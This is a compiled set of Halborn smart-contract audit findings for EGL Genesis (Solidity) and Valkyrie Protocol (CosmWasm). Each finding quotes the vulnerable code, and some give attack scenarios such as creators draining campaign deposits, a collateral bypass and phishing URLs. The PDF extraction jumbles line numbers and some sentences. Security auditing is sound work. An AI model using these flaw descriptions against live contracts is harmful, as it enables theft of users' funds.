{"title": "MythX: 9 THANK YOU FOR CHOOSING", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/Paralink_Token_SmartContract_Halborn_Report_v1.pdf", "body": "Slither and MythX has been run on all the scoped contracts(ParaToken.sol) MythX: 9 THANK YOU FOR CHOOSING", "labels": ["Halborn", "Paralink_Token_SmartContract_Halborn", "Severity: Informational"]}, {"title": "FLOATING PRAGMA", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "EglGenesis.sol contract use the floating pragma ^0.6.0. Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma, for example, either an outdated pragma version that might introduce bugs that affect the contract system negatively or a recently released pragma version which has not been extensively tested. Reference: ConsenSys Diligence - Lock pragmas Code Location: EglGenesis.sol Line #1 Listing 1: EglGenesis.sol (Lines 1) 1 pragma solidity ^0.6.0; This is an example where the floating pragma is used. ^0.6.0. Risk Level: Likelihood - 2 Impact - 3 Recommendation: Consider lock the pragma version known bugs for the compiler version. Therefore, it is recommended not to use floating pragma in the production. Apart from just locking the pragma version in the code, the sign (>= ) need to be removed. it is possible locked the pragma fixing the version both in truffle-config.js if you use the Truffle framework and 14 in hardhat.config.js if you use HardHat framework for the deployment. truffle-config.js hardhat.config.js Remediation Plan: SOLVED: EGL Team locked pragma version to 0.6.6. Listing 2: EglGenesis.sol (Lines 1) 1 pragma solidity 0.6.6; 2 3 import \" @openzeppelin / contracts - upgradeable / access / OwnableUpgradeable . sol \" ; 4 import \" @openzeppelin / contracts - upgradeable / proxy / Initializable . sol \" ; 5 import \" @openzeppelin / contracts - upgradeable / utils / PausableUpgradeable . sol \" ; 6 import \" @openzeppelin / contracts - upgradeable / math / SafeMathUpgradeable . sol \" ; 15 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Low"]}, {"title": "MISSING ADDRESS VALIDATION", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "In the EglGenesis.sol contract is missing a safety check inside their constructors and multiple functions. Setters of address type parameters should include a zero-address check otherwise contract functionality may become inaccessible or tokens burnt forever. Code Location: EglGenesis.sol Line #~103-112 Listing 3: EglGenesis.sol (Lines 103) 103 104 105 106 107 108 109 110 111 112 function initialize ( address _owner , uint _threshold ) public initializer { __Context_init_unchained () ; __Ownable_init_unchained () ; __Pausable_init_unchained () ; transferOwnership ( _owner ); canContribute = true ; maxThreshold = _threshold ; emit Initialized ( owner () , canContribute , _threshold ); } Risk Level: Likelihood - 2 Impact - 2 Recommendation: Add proper address validation when assigning a value to a variable from user-supplied data. Better yet, address white-listing/black-listing 16 should be implemented in relevant functions if possible. For example: Listing 4: Modifier.sol (Lines 2,3,4) 1 2 3 4 5 modifier validAddress ( address addr ) { require ( addr != address (0) , \" Address cannot be 0 x0 \"); require ( addr != address ( this ) , \" Address cannot be contract \" ); _; } Remediation Plan: SOLVED: EGL Team added address validation on the initialize function. initialize function defined instead of a constructor in the contract. Listing 5: EglGenesis.sol (Lines 2,3) 1 2 3 4 5 6 7 8 9 10 11 12 13 function initialize ( address _owner , uint _threshold ) external initializer { require ( _owner != address (0) , \" GENESIS : INVALID_OWNER \"); require ( _owner != address ( this ) , \" GENESIS : ADDRESS_IS_CONTRACT \"); __Context_init_unchained () ; __Ownable_init_unchained () ; __Pausable_init_unchained () ; transferOwnership ( _owner ); canContribute = true ; maxThreshold = _threshold ; emit Initialized ( owner () , canContribute , _threshold ); } 17 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Low"]}, {"title": "MISSING CALCULATION ON THE CONTRIBUTORS COUNT", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "During the phase of EglGenesis.sol contract, the user can withdraw con- tribution. The contract is applied multiple calculations and controls on the related functions. But, contributorsCount is not decreased when the user withdraw funds. Code Location: EglGenesis.sol Line #~117 Listing 6: EglGenesis.sol (Lines ) 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 function withdraw () public whenNotPaused { require ( canWithdraw , \" GENESIS : WITHDRAW_NOT_ALLOWED \" ); require ( contributors [ msg . sender ]. amount > 0, \" GENESIS : NOT_CONTRIBUTED \" ); uint amountToWithdraw = contributors [ msg . sender ]. amount ; uint contributorIdx = contributors [ msg . sender ]. idx ; delete contributors [ msg . sender ]; delete contributorsList [ contributorIdx - 1]; cumulativeBalance = cumulativeBalance . sub ( amountToWithdraw ); ( bool success , ) = msg . sender . call { value : amountToWithdraw }( \" \"); require ( success , \" GENESIS : WITHDRAW_FAILED \"); emit ContributionWithdrawn ( msg . sender , amountToWithdraw , now ); } 18 Risk Level: Likelihood - 2 Impact - 2 Recommendation: Add proper calculation on the contributorsCount variable. According to workflow, EGL can continue without substraction operation. Listing 7: Example Remediation (Lines 9) function withdraw () public whenNotPaused { require ( canWithdraw , \" GENESIS : WITHDRAW_NOT_ALLOWED \" ); require ( contributors [ msg . sender ]. amount > 0, \" GENESIS : NOT_CONTRIBUTED \" ); uint amountToWithdraw = contributors [ msg . sender ]. amount ; uint contributorIdx = contributors [ msg . sender ]. idx ; delete contributors [ msg . sender ]; delete contributorsList [ contributorIdx - 1]; contributorsCount = contributorsCount . sub (1) ; cumulativeBalance = cumulativeBalance . sub ( amountToWithdraw ); ( bool success , ) = msg . sender . call { value : amountToWithdraw }( \" \"); require ( success , \" GENESIS : WITHDRAW_FAILED \"); emit ContributionWithdrawn ( msg . sender , amountToWithdraw , now ); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Remediation Plan: SOLVED: The main purpose of the the contributorsCount variable is in combination with the contributorsList array. According to workflow, the variable name is changed with absoluteMaxContributorsCount. 19 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Low"]}, {"title": "ALLOW WITHDRAW PROGRESS WITHOUT FUNDS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "During the phase of EglGenesis.sol contract, only the owner can allow withdraw progress. But, without funds the owner can allow withdraw phase. Code Location: EglGenesis.sol Line #~117 Listing 8: EglGenesis.sol (Lines ) 135 136 137 138 139 140 141 function allowWithdraw () public onlyOwner whenNotPaused { require ( cumulativeBalance < maxThreshold , \" GENESIS : MAX_THRESHOLD_REACHED \" ); require ( canContribute , \" GENESIS : GENESIS_ENDED \" ); canWithdraw = true ; canContribute = false ; emit WithdAllowed ( msg . sender , now ); } Risk Level: Likelihood - 2 Impact - 2 Recommendation: It is recommend to validate allowWithdraw function should not be called without funds. Listing 9: EglGenesis.sol (Lines 2) 2 3 function allowWithdraw () public onlyOwner whenNotPaused { require ( cumulativeBalance > 0, \" GENESIS : NO BALANCE \" ); 20 4 5 6 7 8 9 } require ( cumulativeBalance < maxThreshold , \" GENESIS : MAX_THRESHOLD_REACHED \" ); require ( canContribute , \" GENESIS : GENESIS_ENDED \" ); canWithdraw = true ; canContribute = false ; emit WithdAllowed ( msg . sender , now ); Remediation Plan: SOLVED: The cumulative balance check has been added into the allowWithdraw function. Listing 10: Fix (Lines ) 1 require ( cumulativeBalance > 0, \" GENESIS : NO_BALANCE \" ); 21 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Low"]}, {"title": "OWNER CAN RENOUNCE OWNERSHIP", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "The Owner of the contract is usually the account which deploys the contract. As a result, the Owner is able to perform some privileged actions. In the EglGenesis.sol smart contracts, the renounceOwnership function is used to renounce being Owner. Otherwise, if the ownership was not transferred before, the contract will never have an Owner, which is dangerous. Function: Risk Level: Likelihood - 1 Impact - 1 22 Recommendation: Its recommended that the Owner is not able to call renounceOwnership without transferring the Ownership to other address before. In addition, if a multi-signature wallet is used, calling renounceOwnership function should be confirmed for two or more users. As an other solution, Renounce Ownership functionality can be disabled with the following line. For example: Listing 11: Modifier.sol (Lines 3) 2 3 4 function renounceOwnership () public override onlyOwner { revert ( \" can 't renounceOwnership here \" ); // not possible with this smart contract } Remediation Plan: SOLVED: The contract will not allow owner to renounce ownership. Only transferOwnership function permitted. Listing 12: Fix (Lines ) 1 2 3 function renounceOwnership () public override onlyOwner { revert ( \" GENESIS : NO_RENOUNCE_OWNERSHIP \" ); } 23 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Informational"]}, {"title": "MISSING VALIDATION ON THE FUNCTION", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "According to workflow, The owner of the contract can finish genesis progress. In the related function, require(canContribute, \"GENESIS: GENESIS_ENDED\"); statement is missing. Code Location: EglGenesis.sol Line #~146 Listing 13: EglGenesis.sol (Lines ) 146 147 148 149 150 151 function endGenesis () public onlyOwner whenNotPaused { canContribute = false ; ( bool success , ) = msg . sender . call { value : cumulativeBalance }( \"\" ); require ( success , \" GENESIS : CLOSE_FAILED \" ); emit GenesisEnded ( msg . sender , cumulativeBalance , address ( this ). balance , now ); } Risk Level: Likelihood - 1 Impact - 1 Recommendation: It is recommend to put a require statement on the endGenesis function. Listing 14: EglGenesis.sol (Lines 147) 146 147 function endGenesis () public onlyOwner whenNotPaused { require ( canContribute , \" GENESIS : GENESIS_ENDED \" ); 24 148 149 150 151 152 canContribute = false ; ( bool success , ) = msg . sender . call { value : cumulativeBalance }( \"\" ); require ( success , \" GENESIS : CLOSE_FAILED \" ); emit GenesisEnded ( msg . sender , cumulativeBalance , address ( this ). balance , now ); } Remediation Plan: RISK ACCEPTED: In the opinion of the client, It is possible to call endGenesisfunction even if it doesnt hit the maxThreshold. The client wanted that flexibility so that even if the client dont hit their target ETH amount, they could still continue with Genesis if the amount they do have is satisfactory to the owner multisig. 25 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Informational"]}, {"title": "POSSIBLE MISUSE OF PUBLIC FUNCTIONS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "In the public functions, array arguments are immediately copied to mem- ory, while external functions can read directly from calldata. Reading Public functions need to calldata is cheaper than memory allocation. write the arguments to memory because public functions may be called internally. Internal calls are passed internally by pointers to memory. Thus, the function expects its arguments being located in memory when the compiler generates the code for an internal function. Code Location: We noticed the use of public functions in the following contract: EglGenesis.sol Listing 15: EglGenesis.sol (Lines ) 37 38 39 40 41 42 - EglGenesis . initialize ( address , uint256 ) ( contracts / EglGenesis . sol #103 -112) - EglGenesis . withdraw () ( contracts / EglGenesis . sol #117 -130) - EglGenesis . allowWithdraw () ( contracts / EglGenesis . sol #135 -141) - EglGenesis . endGenesis () ( contracts / EglGenesis . sol #146 -151) - EglGenesis . pauseGenesis () ( contracts / EglGenesis . sol #156 -158) - EglGenesis . unpauseGenesis () ( contracts / EglGenesis . sol #163 -165) Risk Level: Likelihood - 1 Impact - 2 26 Recommendation: Consider declaring external variables instead of public variables. A best practice is to use external if expecting a function to only be called externally and public if called internally. Public functions are always accessible, but external functions are only available to external callers. Remediation Plan: SOLVED: The client declared public functions as an external. The necessary changes applied on the relevant functions. 27 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Informational"]}, {"title": "BLOCK TIMESTAMP ALIAS USAGE", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "During a manual static review, we noticed the use of now. The contract developers should be aware that his does not mean current time. now is an alias for block.timestamp. block.timestamp can be influenced by miners to a certain degree, so the testers should be warned that this may have some risk if miners collude on time manipulation to influence the price oracles. Code Location: ./contracts/EglGenesis.sol Line #83 Listing 16: EglGenesis.sol (Lines 82) 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 receive () external payable whenNotPaused { require ( canContribute , \" GENESIS : GENESIS_ENDED \" ); require ( msg . value >= MIN_CONTRIBUTION_AMOUNT , \" GENESIS : INVALID_AMOUNT \" ); require ( contributors [ msg . sender ]. amount == 0 , \" GENESIS : ALREADY_CONTRIBUTED \"); contributorsList . push ( msg . sender ); cumulativeBalance = cumulativeBalance . add ( msg . value ); contributorsCount = contributorsCount . add (1) ; Contributor storage contributor = contributors [ msg . sender ]; contributor . amount = msg . value ; contributor . cumulativeBalance = cumulativeBalance ; contributor . idx = contributorsCount ; contributor . date = now ; if ( cumulativeBalance >= maxThreshold ) { canContribute = false ; emit ThresholdMet ( cumulativeBalance , now ); } 28 88 89 90 91 92 93 94 95 emit ContributionReceived ( msg . sender , contributor . amount , contributor . cumulativeBalance , contributor . idx , contributor . date ); } Risk Level: Likelihood - 1 Impact - 2 Recommendation: Use block.number instead of block.timestamp or now reduce the influence of miners. If possible, Its recommended to use Oracles. Remediation plan: NOT APPLICABLE: the EGL Team considers safe the usage of now because 900 seconds of drift from miners is preferable to other options. Calculating time from the block could be wrong if there is a fork or upgrade - timestamps are less vulnerable to a change in block duration that could Use of oracles would occur with Ethereum 2.0 upgrades or hard forks. create a dependency on the health of a third party service and potentially incur additional fees. 29 ", "labels": ["Halborn", "EGL_Genesis", "Severity: Informational"]}, {"title": "LACK OF VISIBILITY ON THE MAXTHRESHOLD VARIABLE", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/Solidity Smart Contract Audits/EGL_Genesis_Smart_Contract_Security_Audit_Halborn_v_1_1.pdf", "body": "During the dynamic analysis, we noticed the visibility of uint private maxThreshold variable marked as a private. After an initializing phase, maxThreshold variable is not visible through functions. Code Location: ./contracts/EglGenesis.sol Line #20 Listing 17: EglGenesis.sol (Lines 20) 20 uint private maxThreshold ; Risk Level: Likelihood - 1 Impact - 2 Recommendation: According to workflow, visibility. following code. EGL Team should decide about the variable As an example remediation, Halborn Team suggested the Listing 18: EglGenesis.sol (Lines 20) 20 function getMaxThreshold () external onlyOwner whenNotPaused returns ( uint ){ 21 22 } return maxThreshold ; 30 Remediation plan: RISK ACCEPTED: the EGL Team considers to declaring maxThreshold as a private. 31 3.10 SYMBOLIC EXECUTION SECURITY ASSESSMENT ", "labels": ["Halborn", "EGL_Genesis", "Severity: Informational"]}, {"title": "ARBITRARY EXECUTION MESSAGES LEAD TO STEALING ALL FUNDS FROM CAMPAIGNS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "participate and participate_qualify_result functions in contracts/cam- paign/src/executions.rs allow a creator to execute any message on behalf of the campaign contract. Consequently, a malicious creator can include an execution message for withdrawing all deposits from a campaign, i.e., stealing deposits from users that have participated in that campaign. The risk level for this finding increases because there are no restrictions to update execution messages to malicious ones when campaigns are ongoing, see HAL-08 for more details. A proof of concept video showing how to exploit this security issue is included in the report. Code Location: Loop of messages to be executed without restrictions on behalf of the campaign contract using the participate function: Listing 1: contracts/campaign/src/executions.rs (Lines 787) 787 788 789 790 791 792 for execution in campaign_config . executions . iter () { response = response . add_message ( message_factories :: wasm_execute_bin ( & execution . contract , execution . msg . clone () , )); } 18 Loop of messages to be executed without restrictions on behalf of the campaign contract using the participate_qualify_result function: Listing 2: contracts/campaign/src/executions.rs (Lines 839) 836 837 838 839 840 841 842 843 844 845 if continue_option . can_execute () { let campaign_config = CampaignConfig :: load ( deps . storage ) ?; for execution in campaign_config . executions . iter () { response = response . add_message ( message_factories :: wasm_execute_bin ( & execution . contract , execution . msg . clone () , )); } } Risk Level: Likelihood - 5 Impact - 5 Recommendation: It is recommended to remove all execution logic from the campaign con- tract. If it is not possible, update the logic in participate and participate_qualify_result functions to not allow transfers of tokens outside the campaign contract. Remediation plan: SOLVED: The issue was fixed in commit 1e1de2243655fa3f083dec248256651e48dbb83b. Valkyrie team removed the execution logic from the campaign contract and moved it to the qualifier contract, which is written by the campaign creator and should have zero balance. 19 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: Critical"]}, {"title": "WITHDRAWAL OF ARBITRARY PARTICIPATION REWARDS WITHOUT DEPOSITING COLLATERALS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "When a campaign is activated and no one has deposited collaterals yet, an attacker can participate an undefined number of times without depositing any collateral. Later on, attacker will be able to withdraw his ille- gitimate participation rewards. in function This issue arises because, when a user participates, the internal require_collateral is triggered and will always return false if collateral amount is zero, i.e.: As a consequence, validation that user owns enough collateral balance will be bypassed and participation_count field for user will increase by one for each participation, without the need to deposit any collateral. no one has deposited collaterals yet. contracts/campaign/src/states.rs A proof of concept video showing how to exploit this security issue is included in the report. Code Location: Listing 3: contracts/campaign/src/executions.rs (Lines 738) 738 739 740 741 742 743 744 745 if campaign_config . require_collateral () { let mut collateral = Collateral :: load_or_new ( deps . storage , & actor ) ?; let collateral_balance = collateral . balance ( env . block . height ) ?; if collateral_balance < campaign_config . collateral_amount { return Err ( ContractError :: Std ( StdError :: generic_err ( format! ( \" Insufficient collateral balance ( required : {} , 20 current : {}) \" , campaign_config . collateral_amount . to_string () , collateral_balance . to_string () , )))); } collateral . lock ( campaign_config . collateral_amount , env . block . height , campaign_config . collateral_lock_period ) ?; collateral . save ( deps . storage ) ?; 746 747 748 749 750 751 752 753 } Listing 4: contracts/campaign/src/states.rs (Lines 52) 51 pub fn require_collateral (& self ) -> bool { 52 self . collateral_denom . is_some () && !self . collateral_amount . is_zero () 53 } Risk Level: Likelihood - 5 Impact - 5 Recommendation: Update the logic of require_collateral function to handle correctly the cases where no one has yet deposited collaterals in campaigns. Remediation plan: PARTIALLY SOLVED: Commit 5b89ebd6767d031f168ad66dcba7a9fa23b25483 par- tially fixes the security issue by extending the require_collateral ver- ification even if collateral amount is zero. On the other hand, by design, this protocol accepts that users partici- pate in campaigns without depositing collaterals, which could lead that malicious users participate without restrictions and in unfair fashion 21 to earn rewards. The Valkyrie team decided to implement the following measures in commit b3586c8c869b16cdc4a4a1ed8c2d8f46d9531702 to partially reduce the attack surface: Make qualifier mandatory, so creators can include additional secu- Limit rity requirements in their campaigns. per participation collateral_denom is None. count the address up to 100 when It is highly recommended that Valkyrie documentation warns creators about the security risks of creating campaigns that do not require collaterals and the security requirements they should consider in their qualifier contracts. 22 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: Critical"]}, {"title": "DEPOSITS GET LOCKED IN CAMPAIGN IF COLLATERAL DENOM IS NOT SPECIFIED", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "When users call deposit_collateral function in contracts/campaign/src/ex- ecutions.rs for a campaign which collateral_denom has not been specified at instantiation time, the contract will receive the deposits as usual, without throwing any error message to users. However, for when users call withdraw_collateral function to withdraw their deposits from campaign contract, the function will throw an error message and deposits will get locked forever in contract. Code Location: Conditional expression in deposit_collateral function does not consider else case: reject operation if campaign_config.collateral_denom is None: Listing 5: contracts/campaign/src/executions.rs (Lines 1088) 1086 1087 1088 1089 1090 1091 1092 1093 1094 let campaign_config = CampaignConfig :: load ( deps . storage ) ?; if let Some ( collateral_denom ) = campaign_config . collateral_denom { if * send_denom ! = collateral_denom { return Err ( ContractError :: Std ( StdError :: generic_err ( \" Missing collateral denom \")) ); } } let mut campaign_state = CampaignState :: load ( deps . storage ) ?; 23 When users call withdraw_collateral function to withdraw their deposits, function will always throw a No collateral error message: Listing 6: contracts/campaign/src/executions.rs (Lines 1153,1154,1155) 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 if let Some ( denom ) = campaign_config . collateral_denom { let mut campaign_state = CampaignState :: load ( deps . storage ) ?; campaign_state . collateral_amount = campaign_state . collateral_amount . checked_sub ( amount ) ?; campaign_state . save ( deps . storage ) ?; response = response . add_message ( make_send_msg ( & deps . querier , denom , amount , & info . sender , ) ?) ; } else { return Err ( ContractError :: Std ( StdError :: generic_err ( \" No collateral \" )) ); 1155 } Risk Level: Likelihood - 4 Impact - 5 Recommendation: Update the logic in deposit_collateral function to reject deposits in campaigns which collateral_denom has not been specified. Remediation plan: SOLVED: The issue was fixed in commit e45c721568be661fc15d1dd20473ec54b61d1ca1. 24 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: High"]}, {"title": "CAMPAIGNS CAN HOST MALICIOUS URLS THAT HARM USERS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "a is with created campaign function function create_campaign from When with contracts/campaign_manager/src/executions.rs update_campaign_config contracts/campaign/src/exe- cutions.rs, creator can introduce a malicious external URL that fools users to be redirected to a phishing DApp that can steal their deposits. It is important to note that URLs will appear in official Valkyrie frontend, so legitimate users wont be aware whether those URLs are malicious or not. updated from or Attack scenario: 1. Malicious creator calls create_campaign function to create a campaign with a valid URL. 2. Malicious creator sends the address of the campaign to Valkyrie team, who publishes it in official Valkyrie frontend. 3. Malicious creator calls update_campaign_config function to update URL to a malicious one. 4. Users click a malicious URL that appears in Valkyrie frontend and are redirected to a phishing DApp. 5. Users interact with the phishing DApp and try to participate in the campaign, but their deposits are sent to a malicious address instead of to the actual campaign. 25 Code Location: Creator can send an arbitrary config_msg that contains a malicious URL when creating a new campaign: Listing 7: contracts/campaign_manager/src/executions.rs (Lines 199) 195 pub fn create_campaign ( 196 197 198 199 200 201 202 203 204 205 206 ) -> ContractResult < Response > { deps : DepsMut , env : Env , info : MessageInfo , config_msg : Binary , collateral_denom : Option < Denom >, collateral_amount : Option < Uint128 >, collateral_lock_period : Option < u64 >, qualifier : Option < String >, qualification_description : Option < String >, executions : Vec < ExecutionMsg >, Listing 8: contracts/campaign_manager/src/executions.rs (Lines 227) config . code_id , Some ( config . governance . clone () ) , to_binary (& CampaignInstantiateMsg { 218 let create_campaign_msg = message_factories :: wasm_instantiate ( 219 220 221 222 223 224 225 226 227 228 governance : config . governance . to_string () , fund_manager : config . fund_manager . to_string () , campaign_manager : env . contract . address . to_string () , admin : info . sender . to_string () , creator : info . sender . to_string () , config_msg , collateral_denom , Creator can even update URL to a malicious one for campaign when is in pending status: Listing 9: contracts/campaign/src/executions.rs (Lines 152) if let Some ( url ) = url . as_ref () { validate_url ( url ) ?; 143 144 145 26 146 147 148 149 150 151 152 153 154 } if !is_pending ( deps . storage )? { return Err ( ContractError :: Std ( StdError :: generic_err ( \" Only modifiable in pending status \" , ))); } campaign_config . url = url . clone () ; response = response . add_attribute (\" is_updated_url \" , \" true \" ); Risk Level: Likelihood - 4 Impact - 5 Recommendation: It is recommended that campaign_manager contract generates automatically URLs for created campaigns (e.g.,: https://app.valkyrieprotocol.com/ campaigns/terra1e9...7mpw) and allows users to participate in campaigns directly through Valkyrie frontend, without the need of external sites. Furthermore, creators shouldnt be able to update those URLs. Remediation plan: RISK ACCEPTED: The Valkyrie team accepted the risk for this finding. They also claimed that this is a critical part of the creators process and workflow when creating a campaign, so it must be necessary for the creators to input their link and the protocol must allow for flexibility. 27 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: High"]}, {"title": "BALANCE DOES NOT UPDATE WHEN USERS CLAIM REWARDS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The claim_participation_reward and claim_referral_reward functions in contracts/campaign/src/executions.rs allow users to claim their rewards when they participate or promote campaigns. Every time these functions are called, they do not update total reward balance, which allows other users to participate in campaigns even if there are not enough rewards for them and affects all rewardable ecosystem of Valkyrie protocol. A proof of concept video showing how to exploit this security issue is included in the report. Code Location: After unlocking balance, total participation reward balance does not up- date when reward is claimed: Listing 10: contracts/campaign/src/executions.rs (Lines 654) 649 650 651 652 653 654 655 656 657 let mut campaign_state = CampaignState :: load ( deps . storage ) ?; let reward_amount = participation . participation_reward_amount ; participation . participation_reward_amount = Uint128 :: zero () ; campaign_state . unlock_balance (& reward_config . participation_reward_denom , & reward_amount ) ?; participation . save ( deps . storage ) ?; campaign_state . save ( deps . storage ) ?; 28 After unlocking balance, total referral reward balance does not update when reward is claimed: Listing 11: contracts/campaign/src/executions.rs (Lines 695) 690 691 692 693 694 695 696 697 698 699 700 701 let mut campaign_state = CampaignState :: load ( deps . storage ) ?; let reward_amount = participation . referral_reward_amount ; participation . referral_reward_amount = Uint128 :: zero () ; campaign_state . unlock_balance ( & cw20 :: Denom :: Cw20 ( reward_config . referral_reward_token . clone () ) , & reward_amount , ) ?; participation . save ( deps . storage ) ?; campaign_state . save ( deps . storage ) ?; Risk Level: Likelihood - 5 Impact - 4 Recommendation: Fix the logic in claim_participation_reward and claim_referral_reward functions to update total balance when rewards are claimed. Remediation plan: SOLVED: The issue was fixed in commit 397af636356390334af89a68f93f8d0340124e61. The Valkyrie team also discovered this security issue while a security audit was in progress and solved it timely. 29 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: High"]}, {"title": "POSSIBILITY TO TRANSFER AN ARBITRARY AMOUNT OF VKR TOKENS FROM DISTRIBUTOR", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The transfer function in contracts/distributor/src/executions.rs allows an admin (Valkyrie team) to transfer an arbitrary amount of VKR tokens from distributor contract to a potentially malicious external account. The maximum amount of VKR tokens to transfer depends on unlocked balance. However, admin can call update_distribution function to unlock all balance by updating start_height (see HAL-13 finding). According to Valkyrie documentation, this contract can concentrate up to 40% of total supply of VKR tokens. Attack scenario: 1. Malicious (or compromised) admin calls update_distribution function with start_height = and amount = 0. 2. As a consequence of Step 1, the aforementioned function will unlock all balance in contract. 3. Malicious (or compromised) admin calls transfer function to totally withdraw VKR tokens from distributor contract. 4. There wont be more VKR tokens to distribute to lp_staking and governance contracts anymore. 30 Code Location: Listing 12: contracts/distributor/src/executions.rs (Lines 305) 300 301 302 303 304 305 306 307 308 309 // Execute let mut response = make_response ( \" transfer \"); response = response . add_message ( message_factories :: wasm_execute ( & config . managing_token , & Cw20ExecuteMsg :: Transfer { recipient : deps . api . addr_validate (& recipient ) ?. to_string () , amount , }, )); Risk Level: Likelihood - 3 Impact - 5 Recommendation: If not used, it is recommended to totally remove transfer function to avoid rug-pull related attacks. Remediation plan: SOLVED: The issue was fixed in commit 9cb490064cdf6f1d37b2373644d355aaec9f2d8f. 31 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: High"]}, {"title": "USERS CAN PARTICIPATE IN CAMPAIGNS EVEN IF THERE ARE NOT ENOUGH REWARDS", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "When a campaign is activated and its creator has not deposited partici- pation / referral rewards yet, users are allowed to participate in the campaign, even if there is no balance for rewards distribution. As a consequence, unless campaign creator deposits all rewards accrued unex- pectedly in campaign, some users will not be able to claim their rewards. This issue arises because, when a user participates, the internal is validate_balance triggered and will always return Ok(()) if balance has no elements, i.e.: if creator has not deposited rewards yet. contracts/campaign/src/states.rs function in A proof of concept video showing how to exploit this security issue is included in the report. Code Location: Listing 13: contracts/campaign/src/states.rs (Lines 157,165) for ( denom , balance ) in self . balances . iter () { 156 pub fn validate_balance (& self ) -> StdResult <() > { 157 158 159 160 161 if * balance < locked_balance { let locked_balance = self . locked_balance ( denom ); return Err ( StdError :: generic_err ( \" locked balance can ' t greater than balance \" )) ; 162 163 164 165 166 } } } Ok (() ) 32 Risk Level: Likelihood - 4 Impact - 4 Recommendation: Update the logic of validate_balance function to handle correctly the cases where creators have not yet deposited rewards in campaigns. Remediation plan: SOLVED: The issue was fixed in commit 1026b29b7cefc6a9e3af3800d2c1061718afe14d. 33 ", "labels": ["Halborn", "Valkyrie_Protocol_CosmWasm", "Severity: High"]}, {"title": "NO RESTRICTION TO UPDATE EXECUTION MESSAGES WHEN CAMPAIGNS ARE ONGOING", "html_url": "https://github.com/HalbornSecurity/PublicReports/tree/master/CosmWasm Smart Contract Audits/Valkyrie_Protocol_CosmWasm_Smart_Contract_Security_Audit_Report_Halborn_Final.pdf", "body": "The update_campaign_config function in contracts/campaign/src/execu- tions.rs allows creators to update execution messages when campaigns are ongoing, i.e., last active height is different to None. This situation can produce the following consequences: A malicious creator can update execution messages when a campaign is ongoing and force contract to transfer the whole collateral deposits to him, i.e., stealing deposits from users that have participated in that campaign. See HAL-01 for more details regarding the exploiting of this vulnerability. Users who participate in campaigns may be unaware that the execution messages have changed to malicious or disadvantageous ones and, of course, cannot react timely if the change made is not in the best interest of them. Code Location: Listing 14: contracts/campaign/src/executions.rs 190 191 192 193 194 195 if let Some ( executions ) = executions . as_mut () { executions . sort_by_key (| e | e . order ); campaign_config . executions = executions . iter () . map (| e 